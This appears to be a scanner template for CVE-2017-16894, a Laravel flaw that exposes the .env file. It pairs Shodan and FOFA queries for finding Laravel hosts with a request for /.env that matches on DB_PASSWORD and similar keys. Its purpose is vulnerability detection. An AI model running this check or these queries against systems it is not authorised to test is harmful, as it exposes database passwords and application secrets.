id: CVE-2017-16894 info: name: Laravel <5.5.21 - Information Disclosure author: j4vaovo severity: high description: | Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel. impact: | An attacker can exploit this vulnerability to gain sensitive information from the application. remediation: | Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894 - https://packetstormsecurity.com/files/cve/CVE-2017-16894 - http://whiteboyz.xyz/laravel-env-file-vuln.html - https://twitter.com/finnwea/status/967709791442341888 - https://nvd.nist.gov/vuln/detail/CVE-2017-16894 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-16894 cwe-id: CWE-200 epss-score: 0.11608 epss-percentile: 0.95145 cpe: cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: laravel product: laravel shodan-query: - Laravel-Framework - cpe:"cpe:2.3:a:laravel:laravel" - laravel-framework fofa-query: - app="Laravel-Framework" - app="laravel-framework" tags: cve,cve2017,laravel,exposure,packetstorm http: - method: GET path: - "{{BaseURL}}/.env" matchers-condition: and matchers: - type: word part: body words: - "APP_NAME=" - "APP_DEBUG=" - "DB_PASSWORD=" condition: and - type: word part: header words: - "application/octet-stream" - type: status status: - 200 # digest: 4a0a00473045022100e844fde3edb6cce52d63d6465509d56be598412ecc7a783c99f95e5048fa0b28022000e7f92703c7e0130e41822de0a042d152f2ca780d45bb758994da36ee747c8e:922c64590222798bb761d5b6d8e72950